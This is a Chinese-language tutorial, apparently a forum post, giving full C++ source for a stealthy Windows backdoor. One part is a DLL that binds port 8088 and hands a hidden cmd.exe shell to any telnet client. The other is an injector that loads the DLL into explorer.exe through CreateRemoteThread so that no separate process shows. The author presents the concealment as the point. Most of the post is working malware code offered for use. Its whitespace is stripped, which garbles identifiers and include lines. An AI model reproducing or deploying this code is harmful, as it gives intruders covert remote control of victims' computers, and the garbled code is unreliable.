不知道大家用过ncx99.exe没有，这个小工具很有用，运行后，它BIND到一个端口，并接管cmd.exe的输入输出，使得远程用户得到一个SHELL来实现各种操作，不需要特别的客户端，只要用WINDOWS自带的TELNET客户端就可以了。
下面我给出类似这个工具的Sourcecode,我这个工具和ncx99.exe有点不一样，用到了远程线程插入技术，将ncx99.exe功能封装在一个DLL里，然后将DLL插入到explorer.exe进程里，使得程序运行后无进程，增强了隐蔽性。
先给出DLL的Sourcecode:
//test.cpp:DefinestheentrypointfortheDLLapplication.
//
#include"stdafx.h"
#include
#defineiport8088
staticvoidWINAPIThreadProc(void*pVoid)
{
WSADATAwsa;
SOCKETserverFD;
charBuff[1024];
WSAStartup(MAKEWORD(2,2),&wsa);//初始化WinSock
serverFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
structsockaddr_inserver;
server.sin_family=AF_INET;
server.sin_port=htons(iport);
server.sin_addr.s_addr=ADDR_ANY;
intret=bind(serverFD,(sockaddr*)&server,sizeof(server));
ret=listen(serverFD,4);
intiAddrSize=sizeof(server);
re:SOCKETclientFD=accept(serverFD,(sockaddr*)&server,&iAddrSize);//每次操作完成连接断开后程序
//返回这里继续阻塞，等待客户端连接
SECURITY_ATTRIBUTESsa;
sa.nLength=12;
sa.lpSecurityDeor=0;
sa.bInheritHandle=true;
HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFOsi;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
charcmdLine[]="cmd.exe";
PROCESS_INFORMATIONProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和cmd.exe的输入输出关联
unsignedlonglBytesRead;
while(1)
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);//管道是否有数据可读
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);//读取管道里的数据
if(!ret)
break;
ret=send(clientFD,Buff,lBytesRead,0);//将cmd.exe的输出通过socket发送到客户端
if(ret<=0)
break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);//将socket数据读出
if(lBytesRead<=0)
break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//将接收到的客户端输入写进管道作为cmd.exe输入
send(clientFD,Buff,lBytesRead,0);
if(!ret)break;
}
}
gotore;
return;
}
HANDLEhThreadHandle=NULL;
HANDLEHT=NULL;
BOOLAPIENTRYDllMain(HANDLEhModule,
DWORDfdwReason,
LPVOIDlpReserved
)
{
switch(fdwReason)
{
caseDLL_PROCESS_ATTACH://首次装载DLL，创建一线程
{
DWORDdwThreadID;
hThreadHandle=CreateThread(NULL,0,(unsignedlong(__stdcall*)(void*))ThreadProc,NULL,0,&dwThreadID);
}
break;
caseDLL_PROCESS_DETACH:
{
if(hThreadHandle)
TerminateThread(hThreadHandle,0);
}
break;
caseDLL_THREAD_ATTACH:
break;
caseDLL_THREAD_DETACH:
break;
}
returnTRUE;
}
/******************************************************************/
接下来是插入DLL到explorer.exe进程里的代码，要将DLL插入到explorer进程里，首先要得到这个进程的ID，下面是取得进程ID的代码：
DWORDCInsertDlg::GetProcessId()//获取explorer.exe进程的ID
{
DWORDPid=-1;
HANDLEhSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//创建系统快照
PROCESSENTRY32lPrs;
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=sizeof(lPrs);
Process32First(hSnap,&lPrs);//取得系统快照里第一个进程信息
if(strstr(targetFile,lPrs.szExeFile))//判断进程信息是否是explorer.exe
{
Pid=lPrs.th32ProcessID;
returnPid;
}
while(1)
{
ZeroMemory(&lPrs,sizeof(lPrs));
lPrs.dwSize=(&lPrs,sizeof(lPrs));
if(!Process32Next(hSnap,&lPrs))//继续枚举进程信息
{
Pid=-1;
break;
}
if(strstr(targetFile,lPrs.szExeFile))
{
Pid=lPrs.th32ProcessID;
break;
}
}
returnPid;
}
/***************************************************************/
得到进程的ID后，就可以执行进程插入：
voidCInsertDlg::OnButton1()
{
//TODO:Addyourcontrolnotificationhandlercodehere
DWORDPid=-1;
Pid=GetProcessId();//得到进程ID
if(Insert(Pid))//执行远程进程注入
{
::MessageBox(NULL,"Insertthedlltotargetprocessissuccess!","Insert",MB_ICONINFORMATION);
}
else
{
::MessageBox(NULL,"Insertthedlltotargetprocessiffailed!","Insert",MB_ICONINFORMATION);
}
}
BOOLCInsertDlg::Insert(DWORDdwProcessId)
{
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);//得到对目标进程操作的所有权限
if(hProcess==NULL)
{
returnFALSE;
}
charszModulePath[MAX_PATH];
GetModuleFileName(NULL,szModulePath,MAX_PATH);
PathRemoveFileSpec(szModulePath);
CStringstrModlePath=_T(szModulePath);
if(strModlePath[strModlePath.GetLength()-1]!='\\')strModlePath+=_T('\\');
strModlePath+=_T("test.dll");//获取DLL路径
//为DLL路径分配内存空间
LPVOIDRemoteMemory=VirtualAllocEx(hProcess,NULL,strModlePath.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
if(RemoteMemory==NULL)
{
returnFALSE;
}
//将DLL路径写入目标进程的分配的内存
if(!WriteProcessMemory(hProcess,RemoteMemory,(void*)(LPCTSTR)strModlePath,strModlePath.GetLength()+1,NULL))
{
returnFALSE;
}
//得到LoadLibraryA函数的指针
PTHREAD_START_ROUTINEpfn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");
if(pfn==NULL)
{
returnFALSE;
}
//在远程进程里创建线程
HANDLEhThread=CreateRemoteThread(hProcess,NULL,0,pfn,RemoteMemory,0,NULL);
if(hThread==NULL)
{
returnFALSE;
}
WaitForSingleObject(hThread,INFINITE);//等待线程的返回
VirtualFreeEx(hProcess,RemoteMemory,0,MEM_RELEASE);//释放内存
CloseHandle(hThread);
CloseHandle(hProcess);
returnTRUE;
}
参考资料：
《WINDOWS核心编程》
MSDN
